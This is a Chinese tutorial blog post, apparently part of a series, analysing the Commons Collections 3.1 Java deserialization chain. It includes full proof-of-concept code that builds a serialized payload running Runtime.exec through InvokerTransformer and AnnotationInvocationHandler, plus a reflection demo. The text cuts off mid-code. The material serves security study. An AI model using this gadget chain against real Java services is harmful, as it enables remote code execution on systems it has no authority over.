Java 反序列化分析从入门到放弃(二)

基础知识参考: Java 反序列化分析从入门到放弃(一)

一、环境配置

           本次分析的是CommonsCollections3.1的反序列化利用链,Java环境为jdk1.8.0_261 ,使用的IDE是eclipse

           需要下载一些依赖环境:CommonsCollections3.1的源码和zip文件。
CommonsCollections3.1 下载地址:
https://commons.apache.org/proper/commons-collections/download_collections.cgi

1、 配置运行环境

        新建Java项目,注意选择运行环境版本,使用jdk1.7.0_80
在这里插入图片描述

之后新建类Serialize_Test_Poc

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import java.io.*;

public class Serialize_Test_Poc {
   

    public static void main(String[] args) throws Exception {
   
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
   
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
   String.class, Class[].class }, new Object[] {
   "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
   Object.class, Object[].class }, new Object[] {
   null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {
   String.class }, new Object[] {
   "calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "test");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        
        
        
		/*
		 * //触发漏洞 Map.Entry onlyElement = (Map.Entry)
		 * outerMap.entrySet().iterator().next();
		 * //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,
		 * 这是map的键值对数据格式 onlyElement.setValue("foobar");
		 */
        
        //反射机制调用 AnnotationInvocationHandler 类的构造函数
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //返回指定参数类型的所有构造器,包括public的和非public的,当然也包括private的
        Constructor ctor = cl.getDeclaredConstructor(Class.class,Map.class);
        //取消构造函数修饰符限制
        ctor.setAccessible(true);
        //获取实例
        Object instance = ctor.newInstance(Target.class, outerMap);
        
        
        //payload序列化写入文件,模拟网络传输
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(instance);
        
        //服务端读取文件,反序列化,模拟网络传输
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        fin.readObject();
        
    }
}

2、 导入依赖包

        选中项目右键配置Build path:
在这里插入图片描述
选择Libraries => Add External JARS =>选择下载的文件=> Apply and Close。
在这里插入图片描述

3、 关联源文件

        在代码调试中要分析源文件,所以要关联源文件。使用Java Decompiler反编译jre1.7.0_80\lib\rt.jar,Java Decompiler下载地址:
http://java-decompiler.github.io/
在这里插入图片描述
把导出的zip文件丢在jre的目录下即可。
在这里插入图片描述

选中项目,右键 => Run As => Run Configurations
在这里插入图片描述

选择Alternate JRE=>点击 => Installed JREs
在这里插入图片描述

如果没有配置就点击Add添加自己的jdk路径,添加之后选中并点击Edit
在这里插入图片描述

选择rt.jar => Source Attachment => External location => External File
在这里插入图片描述

二、代码分析

1、InvokerTransformer

       CC3.1jar包中,InvokerTransformer的transform方法会通过反射机制去调用任意函数。
类所在路径:

commons-collections-3.1.jar!/org/apache/commons/collections/functors/InvokerTransformer.class

查看源码:
在这里插入图片描述
其实类InvokerTransformer是实现了Transformer接口,但由于接口回调的特性,执行的方法还是InvokerTransformertransform方法。

Transformer 接口如下图所示:在这里插入图片描述
InvokerTransformer实现Transformer接口如下图所示:
在这里插入图片描述

可见通过多次调用InvokerTransformertransform方法即可实现调用一条命令执行链。

InvokerTransformerDemo 类为例:

import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokerTransformerDemo {
   
	public static void main(String[] args) throws Exception {
   
		
		//利用Java反射获取类对象
		Class runtimeClass = Class.forName("java.lang.Runtime");
		
		//利用InvokerTransformer的transform会通过反射机制去调用任意函数
		//返回 java.lang.Runtime的class对象->m_getMethod,可以类比下一行分析
		//java.lang.Runtime.getMethod("getRuntime") -> 返回 java.lang.Runtime.getRuntime 方法
		//new Class[] 新建一个类数组,值为String.class,Class[].class
		Object m_getMethod = new InvokerTransformer(
				"getMethod", 
				//getMethod()的参数类型是{"getRuntime",null},所以new Class[]的类型为String.class
				new Class[] {
   String.class,Class[].class},
				new Object[] {
   "getRuntime",null}
				).transform(runtimeClass);
		
		//java.lang.Runtime.getRuntime.invoke() -> 返回 java.lang.Runtime.getRuntime() 对象
		Object runtime = new InvokerTransformer(
				"invoke",
				//invoke(对象,参数),所以new Class[] 的类型为Object.class
				new Class[] {
   Object.class,Object[]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值